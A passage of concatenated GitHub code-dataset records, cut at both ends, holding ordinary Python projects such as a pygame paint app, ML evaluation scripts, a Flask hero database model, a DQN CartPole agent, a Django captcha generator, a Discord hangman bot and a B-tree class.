abs(x1 - x2), abs(y1 - y2)) \n\n running = True\n\n #Game Loop\n while running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n #Actions when you press the button\n if event.type == pygame.KEYDOWN:\n #To pick colors of figures\n if event.key == pygame.K_1: \n mode = 'red'\n if event.key == pygame.K_2: \n mode = 'blue'\n if event.key == pygame.K_3:\n mode = 'green'\n #To pick what figure you want to draw\n if event.key == pygame.K_r: \n figure = 'rectangle'\n if event.key == pygame.K_p: \n figure = 'pen'\n if event.key == pygame.K_e: \n figure = 'erase'\n if event.key == pygame.K_c: \n figure = 'circle'\n #Event, which chooses random or different color of figure\n if event.type == pygame.MOUSEBUTTONDOWN:\n if mode == 'random':\n color = (random.randrange(256), random.randrange(256), random.randrange(256))\n else:\n color = colors[mode]\n draw_on = True \n last_pos = event.pos\n if event.type == pygame.MOUSEBUTTONUP: \n work_surf.blit(screen, (0, 0))\n draw_on = False\n #Event, which draws figure, depending on 'figure'\n if event.type == pygame.MOUSEMOTION: \n if draw_on:\n if figure == 'pen': \n pygame.draw.line(screen, color, last_pos, event.pos, radius)\n last_pos = event.pos \n if figure == 'erase': \n pygame.draw.circle(screen, (0, 0, 0), (event.pos[0], event.pos[1]), 6)\n if figure == 'rectangle': \n t = Rect_pos(last_pos[0], last_pos[1], event.pos[0], event.pos[1])\n screen.blit(work_surf, (0, 0))\n pygame.draw.rect(screen, color, pygame.Rect(t))\n if figure == 'circle': \n pygame.draw.circle(screen, color, (last_pos[0], last_pos[1]), int(math.sqrt((event.pos[0]-last_pos[0])**2 + (event.pos[1]-last_pos[1])**2)))\n\n pygame.display.flip() \n\n pygame.quit() \n\nmain() \n","repo_name":"SamSweet04/PP2","sub_path":"Lab8/Paint/paint1.py","file_name":"paint1.py","file_ext":"py","file_size_in_byte":3382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"42327395434","text":"test_dir = 'test_data_VD1'\n\nimport os\nos.environ['TF_FORCE_GPU_ALLOW_GROWTH'] = 'true'\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.layers import Dense, Activation, Dropout, Flatten, Conv1D, Conv2D,MaxPooling1D, BatchNormalization, Input\nfrom tensorflow.keras.layers import UpSampling1D, LeakyReLU, Conv1DTranspose, Concatenate, GlobalAveragePooling2D, MaxPooling2D\nfrom tensorflow.keras.layers import Conv1DTranspose\nimport math\nfrom tensorflow.keras.initializers import RandomNormal\n\nif tf.test.gpu_device_name():\n print('Default GPU Device: {}'.format(tf.test.gpu_device_name()))\nelse:\n print(\"Please install GPU version of TF\")\n\nFACTOR=8\nimport util_functions as uf\nimport errors as er\n\nloaded_models = {}\nmodels = ('upsampling_slow_hm','upsampling_fast_hm','transpose_slow_hm','transpose_fast_hm','upsampling_slow_ht','upsampling_fast_ht','transpose_slow_ht','transpose_fast_ht')\nfor m in models:\n model = tf.keras.models.load_model(f'{m}.h5')\n loaded_models[m] = model\n\n\nfor test_dir in ('test_data_hm','test_data_004','test_data_ht','test_data_VD1','test_data_VD1_2','test_data_G1','test_data_G2'):\n print(\"+\"*40)\n print(test_dir)\n fixations2 = []\n saccades2 = []\n avg_fix = 0\n avg_sac = 0\n file_no =0\n files = {}\n for file in os.listdir(test_dir):\n # print(test_dir+'/'+file)\n errors4f = {}\n data = uf.load_file(test_dir+'/'+file)\n f,s = uf.prepare_fix_sac(data,40,64)\n fs,fl = uf.create_datasets(f)\n fsamples = fs[64]\n flabels = fl[64]\n ss,sl = uf.create_datasets(s)\n ssamples = ss[64]\n slabels = sl[64]\n \n for m in models:\n model = loaded_models[m]\n if 'slow' in m:\n error = er.calc_errors(model,fsamples,flabels)[0]\n else: \n error = er.calc_errors(model,ssamples,slabels)[0]\n errors4f[m] = error \n #print(file,m,error,sep='\\t')\n print(\"*\",end='')\n files[file] = errors4f\n \n #print(files)\n print('') \n avg_errors = {}\n \n for m in models:\n avg_errors[m] = 0\n \n for file in files:\n # print\n fname = file.replace('_','.')[:-4]\n errors = files[file]\n print(f\"{fname}& {errors['upsampling_slow_hm']:.4f} & {errors['upsampling_fast_hm']:.4f} & {errors['transpose_slow_hm']:.4f} & {errors['transpose_fast_hm']:.4f} & {errors['upsampling_slow_ht']:.4f} & {errors['upsampling_fast_ht']:.4f} & {errors['transpose_slow_ht']:.4f} & {errors['transpose_fast_ht']:.4f} \\\\\\\\\");\n for e in errors:\n err = errors[e]\n avg_errors[e] = avg_errors[e] + err\n \n for e in avg_errors:\n avg_errors[e] = avg_errors[e] / 8 \n \n \n errors = avg_errors\n print(f\"average& {errors['upsampling_slow_hm']:.4f} & {errors['upsampling_fast_hm']:.4f} & {errors['transpose_slow_hm']:.4f} & {errors['transpose_fast_hm']:.4f} & {errors['upsampling_slow_ht']:.4f} & {errors['upsampling_fast_ht']:.4f} & {errors['transpose_slow_ht']:.4f} & {errors['transpose_fast_ht']:.4f} \\\\\\\\\");\n print(\"+\"*40)\n\n# {error_fix[0]:.5f}& {error_sac[0]:.5f}\\\\\\\\\")\n \n\"\"\"\n fname = file.replace('_','.')[:-4]\n print(f\"{fname}& {error_fix[0]:.5f}& {error_sac[0]:.5f}\\\\\\\\\")\n avg_fix += error_fix[0]\n avg_sac += error_sac[0]\n file_no += 1\n files[file]=errors\n\"\"\"\n#print(f\"average& {avg_fix/file_no:.5f}& {avg_sac/file_no:.5f}\")\n\n\n \n\n","repo_name":"kasprowski/supersampling","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8526781472","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport csv\nimport numpy as np\nimport sys\nfrom classifier import Classifier\n\n\n# In[2]:\n\n\nrep_id = int(sys.argv[1])\nmethod_id = int(sys.argv[2])\nMFE_model_id = int(sys.argv[3])\nCNN_model_id = int(sys.argv[4])\n\n\n# In[3]:\n\n\nmethod_list = ['MFE', 'CNN']\nmodel_list = [['RF', 'FNN', 'SVM'], [32, 64, 96, 128]]\n\n\n# In[ ]:\n\n\nmethod = method_list[method_id]\n\nif method == 'MFE':\n model = model_list[method_id][MFE_model_id]\nif method == 'CNN':\n model = model_list[method_id][CNN_model_id]\n \nclf = Classifier()\nmacro, micro, cm = clf.classifier(rep_id, method, model)\n\nfilename_f1 = './result/{0}_{1}_{2}_{3}.csv'.format(rep_id, method, model, 'f1')\nfilename_cm = './result/{0}_{1}_{2}_{3}.csv'.format(rep_id, method, model, 'cm')\n\nwith open(filename_f1, 'w') as f:\n w = csv.writer(f)\n w.writerow([macro, micro])\n \nwith open(filename_cm, 'w') as f:\n w = csv.writer(f)\n w.writerows(cm)\n\n","repo_name":"DMkelllog/Wafer_map_pattern_classification_with_MFE_and_CNN","sub_path":"run_model.py","file_name":"run_model.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"6068374424","text":"import pprint\n\ndef download_cook_book(file):\n cook_book = {}\n with open(file, 'r') as fp:\n line = fp.readline()\n while line:\n food_name = line.strip('\\n\\r ')\n cook_book[food_name] = []\n count_elements = int(fp.readline())\n #print(count_elements)\n for i in range(0, count_elements):\n line = fp.readline().strip('\\n\\r ')\n line_data = line.split(' | ')\n ingredient = {}\n ingredient['ingredient_name'] = line_data[0]\n ingredient['quantity'] = line_data[1]\n ingredient['measure'] = line_data[2]\n cook_book[food_name].append(ingredient)\n\n\n line = fp.readline().strip('\\n\\r ')\n #print(f'LINE: {line}')\n if line != '':\n print('\\nERROR: Parse Error')\n return -1\n\n line = fp.readline()\n\n return cook_book\n\nif __name__ == '__main__':\n cook_book = download_cook_book('ingredients.txt')\n pprint.pprint(cook_book)\n\n","repo_name":"sydekz/NetologyHomeWork","sub_path":"dz7/dz71.py","file_name":"dz71.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73601409362","text":"from utils import (\n add_elements_to_stack,\n get_elements_to_move,\n parse_layout,\n parse_moves,\n remove_elements_from_stack,\n)\n\n\ndef solution(input_text: str, crate_mover_model: str):\n first_block, second_block = input_text.split(\"\\n\\n\")\n layout = parse_layout(first_block)\n moves = parse_moves(second_block)\n\n for move in moves:\n number, original_stack, to_stack = move\n\n is_reverse = crate_mover_model == \"9000\"\n elements = get_elements_to_move(\n layout, number, original_stack, reverse=is_reverse\n )\n\n layout = remove_elements_from_stack(layout, number, original_stack)\n layout = add_elements_to_stack(layout, to_stack, elements)\n\n return \"\".join([stack.pop() for stack in layout if len(stack) > 0])\n\n\ndef solution_1(input_text: str):\n return solution(input_text, \"9000\")\n\n\ndef solution_2(input_text: str):\n return solution(input_text, \"9001\")\n","repo_name":"corderop/advent-of-code-2022","sub_path":"days/day_5/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"73533317840","text":"import tflearn\nfrom tflearn.layers.conv import conv_2d, max_pool_2d\nfrom tflearn.layers.core import input_data, dropout, fully_connected\nfrom tflearn.layers.estimator import regression\nimport numpy as np\n\n# all_pixels = all_pixels.reshape([-1, IMAGE_SIZE, IMAGE_SIZE, 3])\n# test_pixels = all_pixels.reshape([-1, IMAGE_SIZE, IMAGE_SIZE, 3])\n\nnet = input_data(shape=[None, 150, 150, 3], name='input')\n\nnet = conv_2d(net, 50, 2, activation='relu')\nnet = max_pool_2d(net, 10)\n\nnet = conv_2d(net, 200, 2, activation='relu')\nnet = max_pool_2d(net, 10)\n\nnet = fully_connected(net, 500, activation='relu')\nnet = dropout(net, 0.75)\n\nnet = fully_connected(net, 7, activation='softmax')\nnet = regression(net, optimizer='adam', learning_rate=0.001,\n loss='categorical_crossentropy', name='targets')\n\nmodel = tflearn.DNN(net)\n\nmodel.load('cancer.model')\nprint(model.predict(['''INSERT TEST DATA HERE'''])[0])","repo_name":"GenericP3rson/Science-Fair-2019","sub_path":"python_stuff/trained_NN/150x150/cancer.py","file_name":"cancer.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40199780206","text":"\"\"\"\nContains classes and functions to interact with the database and format data responses.\n\"\"\"\n\nfrom flask import jsonify\nimport sqlite3\nfrom dataclasses import dataclass, field, asdict\nfrom typing import List\n\nfrom controller import DATABASE_FILE\n\n###\n# Classes\n###\n\n@dataclass\nclass Power:\n \"\"\"Class to represent a power.\"\"\"\n power_name: str\n power_level: int = 0\n power_type: str = None\n power_id: int = None\n \n def to_dictionary(self):\n \"\"\"Returns a dictionary representation of the power\"\"\"\n return asdict(self)\n\n@dataclass\nclass Hero:\n \"\"\"Class to represent a hero.\"\"\"\n hero_name: str\n gender: str = None\n eye_color: str = None\n species: str = None\n hair_color: str = None\n height: float = None\n weight: float = None\n publisher: str = None\n skin_color: str = None\n alignment: str = None\n hero_id: int = None\n powers: List[Power] = field(default_factory=list)\n \n def to_dictionary(self, include_powers=False):\n \"\"\"Returns a dictionary representation of the hero\"\"\"\n hero_dict = asdict(self)\n if not include_powers:\n hero_dict.pop('powers')\n else:\n hero_dict['powers'] = [power.to_dictionary() for power in self.powers]\n return hero_dict\n\n###\n# Query Functions\n###\n\ndef select_all_heroes(limit):\n \n print(DATABASE_FILE)\n conn = sqlite3.connect(DATABASE_FILE)\n cur = conn.cursor()\n # Get column names from the sales table\n cur.execute('SELECT * FROM heroes LIMIT ?', (limit,))\n results = cur.fetchall()\n heroes = []\n for result in results:\n hero = Hero(result[1], result[2], result[3], result[4], result[5], result[6], result[7], result[8], result[9], result[10], result[0])\n heroes.append(hero)\n return heroes\n\ndef select_all_powers(limit):\n try:\n conn = sqlite3.connect(DATABASE_FILE)\n cur = conn.cursor()\n cur.execute('SELECT * FROM powers LIMIT ?', (limit,))\n results = cur.fetchall()\n powers = []\n for result in results:\n power = Power(result[1], result[3], result[2], result[0])\n powers.append(power)\n return powers\n except Exception as e:\n print(f\"Error in select_all_powers: {str(e)}\")\n return None\n\n\ndef select_hero(id):\n print(DATABASE_FILE)\n conn = sqlite3.connect(DATABASE_FILE)\n cur = conn.cursor()\n cur.execute('SELECT * FROM heroes WHERE hero_id = ?', (id,))\n result = cur.fetchone()\n print(result)\n if result is None:\n return None\n hero = Hero(result[1], result[2], result[3], result[4], result[5], result[6], result[7], result[8], result[9], result[10], result[0])\n print(hero.to_dictionary())\n return hero\n\n\ndef select_power(id):\n print(DATABASE_FILE)\n conn = sqlite3.connect(DATABASE_FILE)\n cur = conn.cursor()\n # Get column names from the sales table\n cur.execute('SELECT * FROM powers WHERE power_id = ?', (id,))\n result = cur.fetchone()\n print(result)\n # Handle the case where the power with the given ID is not found\n if result is None:\n return None\n power = Power(result[1], result[3], result[2], result[0])\n print(power.to_dictionary())\n return power\n\ndef select_hero_powers(hero_id):\n conn = sqlite3.connect(DATABASE_FILE)\n cur = conn.cursor()\n cur.execute('SELECT hero_name FROM heroes WHERE hero_id = ?', (hero_id,))\n hero_result = cur.fetchone()\n\n if hero_result:\n hero_name = hero_result[0]\n else:\n return \"Hero not found\", []\n\n cur.execute('''\n SELECT p.power_name, p.power_level, p.power_type, p.power_id\n FROM heroes AS h\n JOIN heroes_powers AS hp ON h.hero_id = hp.hero_id\n JOIN powers AS p ON hp.power_id = p.power_id\n WHERE h.hero_id = ?\n ''',\n (hero_id,))\n power_results = cur.fetchall()\n powers = []\n\n for result in power_results:\n power = Power(result[0], result[1], result[2], result[3])\n powers.append(power)\n\n return hero_name, powers\n\ndef insert_hero(data):\n\n # Extract hero data from the JSON data\n hero_name = data.get('hero_name', '')\n gender = data.get('gender', '')\n eye_color = data.get('eye_color', '')\n species = data.get('species', '')\n hair_color = data.get('hair_color', '')\n height = data.get('height', 0.0)\n weight = data.get('weight', 0.0)\n publisher = data.get('publisher', '')\n skin_color = data.get('skin_color', '')\n alignment = data.get('alignment', '')\n\n if len(hero_name) == 0:\n return {\"error\": \"Missing required field 'hero_name'\"}, 400\n\n conn = sqlite3.connect(DATABASE_FILE)\n cur = conn.cursor()\n cur.execute('INSERT INTO heroes (hero_name, gender, eye_color, species, hair_color, height, weight, publisher, skin_color,alignment) VALUES (?,?,?,?,?,?,?,?,?,?)',\n (hero_name, gender, eye_color, species, hair_color, height, weight, publisher, skin_color, alignment))\n conn.commit()\n hero_id = cur.lastrowid\n conn.close()\n\n response = {\"message\": \"Hero added successfully\", \"hero_id\": hero_id}\n return response, 201\n\ndef modify_hero(hero_id, data):\n # Extract hero data from the JSON data\n hero_name = data.get('hero_name', '')\n gender = data.get('gender', '')\n eye_color = data.get('eye_color', '')\n species = data.get('species', '')\n hair_color = data.get('hair_color', '')\n height = data.get('height', 0.0)\n weight = data.get('weight', 0.0)\n publisher = data.get('publisher', '')\n skin_color = data.get('skin_color', '')\n alignment = data.get('alignment', '')\n\n conn = sqlite3.connect(DATABASE_FILE)\n cur = conn.cursor()\n\n update_fields = []\n update_values = []\n\n if 'hero_name' in data:\n update_fields.append(\"hero_name=?\")\n update_values.append(hero_name)\n\n if 'gender' in data:\n update_fields.append(\"gender=?\")\n update_values.append(gender)\n\n if 'eye_color' in data:\n update_fields.append(\"eye_color=?\")\n update_values.append(eye_color)\n\n if 'species' in data:\n update_fields.append(\"species=?\")\n update_values.append(species)\n\n if 'hair_color' in data:\n update_fields.append(\"hair_color=?\")\n update_values.append(hair_color)\n\n if 'height' in data:\n update_fields.append(\"height=?\")\n update_values.append(height)\n\n if 'weight' in data:\n update_fields.append(\"weight=?\")\n update_values.append(weight)\n\n if 'publisher' in data:\n update_fields.append(\"publisher=?\")\n update_values.append(publisher)\n\n if 'skin_color' in data:\n update_fields.append(\"skin_color=?\")\n update_values.append(skin_color)\n\n if 'alignment' in data:\n update_fields.append(\"alignment=?\")\n update_values.append(alignment)\n\n # Create the update statement\n update_statement = f'UPDATE heroes SET {\",\".join(update_fields)} WHERE hero_id = ?'\n update_values.append(hero_id)\n\n cur.execute(update_statement, update_values)\n conn.commit()\n\n # Now requery the database to get the updated hero\n updated_hero = select_hero(hero_id)\n\n if updated_hero is not None:\n return {\"message\": \"Hero updated successfully\", \"hero\": updated_hero.to_dictionary()}, 200\n else:\n return {\"error\": \"Hero not found\"}, 404\n\n\ndef remove_hero(id):\n \n conn = sqlite3.connect(DATABASE_FILE)\n cur = conn.cursor()\n cur.execute('DELETE FROM heroes WHERE hero_id = ?', (id,))\n conn.commit()\n return {'success':True}\n\n\n","repo_name":"lacey92987/ISYS-5713-Group-3-Project-","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":7599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71146925523","text":"# **\n# * Author: Chris Ryan\n# * Created: 14.05.2021\n# ** \n# A pole is attached by an un-actuated joint to a cart, which moves along a frictionless track. The system is controlled by applying a force of +1 or -1 to the cart. The \n# pendulum starts upright, and the goal is to prevent it from falling over. A reward of +1 is provided for every timestep that the pole remains upright. The episode ends\n# when the pole is more than 15 degrees from vertical, or the cart moves more than 2.4 units from the center.\n\n# Hyperparameters (Bellman equation)\n# α (alpha) The learning rate (0.001). Dictates how much existing best known values are impacted by\n# γ (gamma) The reward discount factor. Normally between 0.90-0.99). Favours shorter-term rewards\n# ε (epsilon) Governs the balance between exploratory (random) action and greedy (best known) action.\n# This needs to decrease over time to favour best known action.\n\nimport random, time\nimport gym\nimport numpy as np\nfrom collections import deque\n\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras import layers, optimizers\n\nENV_NAME = \"CartPole-v1\"\n\nGAMMA = 0.95\nLEARNING_RATE = 0.001\n\nMEMORY_SIZE = 1_000_000\nBATCH_SIZE = 20\n\nEXPLORATION_MAX = 1.0\nEXPLORATION_MIN = 0.01\nEXPLORATION_DECAY = 0.995\n\n# epsilon_by_frame = lambda frame_idx: epsilon_final + (epsilon_start - epsilon_final) * math.exp(-1. * frame_idx / epsilon_decay)\n\nclass DQNSolver:\n\n def __init__(self, observation_space, action_space):\n self.epsilon = EXPLORATION_MAX\n\n self.action_space = action_space\n self.memory = deque(maxlen=MEMORY_SIZE)\n\n self.model = keras.Sequential()\n self.model.add(layers.Dense(24, input_shape=(observation_space,), activation=\"relu\"))\n self.model.add(layers.Dense(24, activation=\"relu\"))\n self.model.add(layers.Dense(self.action_space, activation=\"linear\"))\n self.model.compile(loss=\"mse\", optimizer=optimizers.Adam(lr=LEARNING_RATE))\n self.model.summary()\n\n def remember(self, state, action, reward, next_state, done):\n self.memory.append((state, action, reward, next_state, done))\n\n def act(self, state):\n if np.random.rand() < self.epsilon:\n return random.randrange(self.action_space)\n q_values = self.model.predict(state)\n return np.argmax(q_values[0])\n\n def experience_replay(self):\n if len(self.memory) < BATCH_SIZE:\n return\n batch = random.sample(self.memory, BATCH_SIZE)\n for state, action, reward, next_state, done in batch:\n q_update = reward\n if not done:\n q_update = (reward + GAMMA * np.amax(self.model.predict(next_state)[0]))\n q_values = self.model.predict(state)\n q_values[0][action] = q_update\n self.model.fit(state, q_values, verbose=0)\n if self.epsilon > EXPLORATION_MIN:\n self.epsilon *= EXPLORATION_DECAY\n\ndef cartpole():\n env = gym.make(ENV_NAME)\n observation_space = env.observation_space.shape[0]\n action_space = env.action_space.n\n dqn_solver = DQNSolver(observation_space, action_space)\n run = 0\n while True:\n run += 1 \n state = env.reset()\n state = np.reshape(state, [1, observation_space])\n print(state)\n step = 0\n while True:\n step += 1\n action = dqn_solver.act(state)\n state_next, reward, done, info = env.step(action)\n x, x_dot, theta, theta_dot = state_next\n r1 = (env.x_threshold - abs(x)) / env.x_threshold - 0.8\n r2 = (env.theta_threshold_radians - abs(theta)) / env.theta_threshold_radians - 0.5\n newreward = r1 + r2\n reward = newreward if not done else -1.0\n state_next = np.reshape(state_next, [1, observation_space])\n dqn_solver.remember(state, action, reward, state_next, done)\n state = state_next\n if done:\n print('Run: ' + str(run) + ' Epsilon: {:.2f}'.format(dqn_solver.epsilon) + ' Score: ' + str(step))\n break\n dqn_solver.experience_replay()\n\nif __name__ == \"__main__\":\n cartpole()\n","repo_name":"chrisrryan/AI-Gym_DQN","sub_path":"CartPole.py","file_name":"CartPole.py","file_ext":"py","file_size_in_byte":4189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1821975302","text":"import os\nimport sys\nimport random\nimport io\nfrom django.shortcuts import render\nfrom django.http import JsonResponse\nfrom django.http import HttpResponse\nfrom PIL import Image, ImageDraw, ImageFont\nfrom math import ceil\n#验证码部分\n#修改自https://github.com/tianyu0915/DjangoCaptcha，以支持python3\ncurrent_path = os.path.normpath(os.path.dirname(__file__))\n\nclass Captcha(object):\n\n def __init__(self,request):\n \"\"\" 初始化,设置各种属性\n\n \"\"\"\n self.django_request = request\n self.session_key = '_django_captcha_key'\n\n # 验证码图片尺寸\n self.img_width = 100\n self.img_height = 25\n\n def _get_font_size(self):\n \"\"\" 将图片高度的80%作为字体大小\n\n \"\"\"\n s1 = int(self.img_height * 0.8)\n s2 = int(self.img_width // len(self.code))\n return int(min((s1,s2)) + max((s1, s2)) * 0.05)\n\n def _set_answer(self,answer):\n \"\"\" 设置答案\n \n \"\"\"\n self.django_request.session[self.session_key] = str(answer)\n\n def generate_verification_code(self,len=6):\n ''' 随机生成6位的验证码 '''\n code_list = [] \n for i in range(10): # 0-9数字\n code_list.append(str(i))\n for i in range(65, 91): # 对应从“A”到“Z”的ASCII码\n code_list.append(chr(i))\n for i in range(97, 123): #对应从“a”到“z”的ASCII码\n code_list.append(chr(i))\n myslice = random.sample(code_list, len) # 从list中随机获取6个元素，作为一个片断返回\n verification_code = ''.join(myslice) # list to string\n self._set_answer(verification_code)\n return verification_code\n\n def display(self):\n \"\"\" 生成验证码图片\n \"\"\"\n\n # font color\n self.font_color = ['black', 'darkblue', 'darkred']\n\n # background color\n self.background = (random.randrange(230, 255), random.randrange(230, 255), random.randrange(230, 255))\n\n # font path\n self.font_path = os.path.join(current_path, 'timesbi.ttf')\n #self.font_path = os.path.join(current_path, 'Menlo.ttc')\n\n # clean\n self.django_request.session[self.session_key] = '' \n\n # creat a image\n im = Image.new('RGB', (self.img_width, self.img_height), self.background)\n self.code = self.generate_verification_code()\n\n # set font size automaticly\n self.font_size = self._get_font_size()\n\n # creat a pen\n draw = ImageDraw.Draw(im)\n\n # draw noisy point/line\n# if self.type == 'word':\n# c = int(8 // len(self.code) * 3) or 3\n # elif self.type == 'number':\n c = 4\n\n for i in range(random.randrange(c - 2, c)):\n line_color = (random.randrange(0, 255), random.randrange(0, 255),random.randrange(0, 255))\n xy = (\n random.randrange(0, int(self.img_width * 0.2)),\n random.randrange(0, self.img_height),\n random.randrange(3 * self.img_width // 4, self.img_width),\n random.randrange(0, self.img_height)\n )\n draw.line(xy, fill = line_color, width = int(self.font_size * 0.1))\n #draw.arc(xy,fill = line_color, width = int(self.font_size * 0.1))\n #draw.arc(xy, 0, 1400, fill = line_color)\n\n # draw code\n j = int(self.font_size * 0.3)\n k = int(self.font_size * 0.5)\n x = random.randrange(j, k) #starts point\n for i in self.code:\n # 上下抖动量,字数越多,上下抖动越大\n m = int(len(self.code))\n y = random.randrange(1, 3)\n\n if i in ('+', '=', '?'):\n # 对计算符号等特殊字符放大处理\n m = ceil(self.font_size * 0.8)\n else:\n # 字体大小变化量,字数越少,字体大小变化越多\n m = random.randrange(0, int( 45 // self.font_size) + int(self.font_size // 5))\n\n self.font = ImageFont.truetype(self.font_path.replace('\\\\', '/'),self.font_size + int(ceil(m)))\n draw.text((x, y), i, font = self.font, fill = random.choice(self.font_color))\n x += self.font_size * 0.9\n\n del x\n del draw\n buf = io.BytesIO()\n im.save(buf, 'gif')\n buf.closed\n return HttpResponse(buf.getvalue(), 'image/gif')\n\n def check(self, code):\n \"\"\" \n 检查用户输入的验证码是否正确 \n \"\"\"\n\n _code = self.django_request.session.get(self.session_key) or ''\n# print(_code)\n# print(str(code).lower())\n self.django_request.session[self.session_key] = ''\n# print(_code.lower() == str(code).lower())\n return _code.lower() == str(code).lower()\n#验证码部分 end\n\n\ndef res(res_code,desc,data):\n res_data = {\n 'res_code':res_code,\n 'desc':desc,\n }\n if data:\n res_data['data'] = data;\n return JsonResponse(res_data)\n\ndef res_fail(res_code,desc,data = None):\n return res(res_code,desc,data)\n\ndef res_success(desc,data = None):\n return res(0,desc,data)","repo_name":"YuanXMjoy/Vpoker_certificate","sub_path":"Certificate_verification/certificate/verification_code.py","file_name":"verification_code.py","file_ext":"py","file_size_in_byte":5161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15961207108","text":"# LeetCode Problem 226: Invert Binary Tree\n# Given the root of a binary tree, invert the tree, and return its root.\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\nfrom typing import Optional\n\nclass Solution:\n def invertTree(self, root: Optional[TreeNode]) -> Optional[TreeNode]:\n\n # This recursive swap operation must be performed on every node in the tree, \n # so we have O(n) time complexity and O(n) space complexity\n\n # Base case - recursion will cease when the current node is null\n if not root:\n return None\n \n # Flip the child nodes\n tmp = root.left\n root.left = root.right\n root.right = tmp\n\n # Recursively call invertTree function on both children\n # This will continue until the base case at the beginning of this function is engaged\n self.invertTree(root.left)\n self.invertTree(root.right)\n\n # All nodes are now swapped, we can return the root\n return root\n","repo_name":"tkinneen/leetcodeProblems","sub_path":"Problem_226_Invert_Binary_Tree/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15943151826","text":"import discord\nfrom dotenv import load_dotenv\nfrom os import getenv\n\nhangman_games = {}\n\nclass HangmanGame:\n\tdef __init__(self):\n\t\tself.word = \"cheese\"\n\t\tself.guesses = []\n\n\tdef add_guess(self, letter):\n\t\tself.guesses.append(letter.upper())\n\n\tdef display(self):\n\t\treply = \"Your word is: `\"\n\t\tfor letter in self.word:\n\t\t\tif letter.upper() in self.guesses:\n\t\t\t\treply += (\" %s \" % letter.lower())\n\t\t\telse:\n\t\t\t\treply += \" _ \"\n\t\treply += \"`\"\n\t\treply += \"\"\"\n```\n┏━━━━━━╤━\n┃┃  😬\n┃┃ /👕👍\n┃┃ 🩳\n┃┃ / \\\\\n┃┃ 🦶 👢\n┻┻━━━━━━━━━━━━━\n```\n\"\"\"\n\t\tif len(self.guesses) != 0:\n\t\t\treply += \"You have guessed the following letters:\\n\"\n\t\t\tfor letter in self.guesses:\n\t\t\t\treply += letter.lower()\n\t\t\t\treply += \" \"\n\t\telse:\n\t\t\treply += \"You have not guessed yet. Send a letter once you are ready.\"\n\t\treturn reply\n\n\nasync def play_hangman(message):\n\tif message.author.id in hangman_games:\n\t\tawait message.reply(\"You are already playing a hangman game. I don't have enough compute power to play two at once.\", mention_author=True)\n\telse:\n\t\tgame = HangmanGame()\n\t\thangman_games[message.author.id] = game\n\t\tawait message.reply(game.display(), mention_author=True)\n\t\t\nasync def guess_letter(message):\n\tif message.author.id in hangman_games:\n\t\tgame = hangman_games[message.author.id]\n\t\tgame.add_guess(message.content.split(\" \")[1])\n\t\tawait message.reply(game.display(), mention_author=True)\n\telse:\n\t\tawait message.reply(\"You have somehow successfully broken the code.\", mention_author=True)","repo_name":"codefeld/NormBot","sub_path":"hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74180678480","text":"class BTreeNode:\n def __init__(self, leaf):\n self.t = 2 # degree - minimum degree (defines the range for number of keys)\n self.n = 0\n self.keys = [None] * (2 * self.t - 1)\n self.children = [None] * (2 * self.t) # An array of child pointers\n self.leaf = leaf\n\n # Function to traverse all nodes in a subtree rooted with this node\n def traverse(self):\n # There are n keys and n+1 children, travers through n keys\n # and first n children\n for i in range(0, self.n):\n # If this is not leaf, then before printing key[i],\n # traverse the subtree rooted with child C[i].\n if not self.leaf:\n print(\" root:\" + str(self.keys[i]))\n self.children[i].traverse()\n else:\n print(\" leaf:\" + str(self.keys[i]))\n\n # Print the subtree rooted with last child\n if not self.leaf:\n self.children[self.n].traverse()\n\n # Function to search key k in subtree rooted with this node\n def search(self, k):\n # Find the first key greater than or equal to k\n i = 0\n while i < self.n and k > self.keys[i]:\n i += 1\n\n # If the found key is equal to k, return this node\n if self.keys[i] == k:\n return self\n\n # If the key is not found here and this is a leaf node\n if self.leaf:\n return None\n\n # Go to the appropriate child\n return self.children[i].search(k)\n\n def insertNonFull(self, k):\n # Initialize index as index of rightmost element\n i = self.n - 1\n\n # If this is a leaf node\n if self.leaf:\n # The following loop does two things\n # a) Finds the location of new key to be inserted\n # b) Moves all greater keys to one place ahead\n while i >= 0 and self.keys[i] > k:\n self.keys[i + 1] = self.keys[i]\n i -= 1\n\n # Insert the new key at found location\n self.keys[i + 1] = k\n self.n += 1\n else: # If this node is not leaf\n # Find the child which is going to have the new key\n while i >= 0 and self.keys[i] > k:\n i -= 1\n\n # See if the found child is full\n if self.children[i + 1].n == 2 * self.t - 1:\n # If the child is full, then split it\n self.splitChild(i + 1, self.children[i + 1])\n\n # After split, the middle key of C[i] goes up and\n # children[i] is splitted into two. See which of the 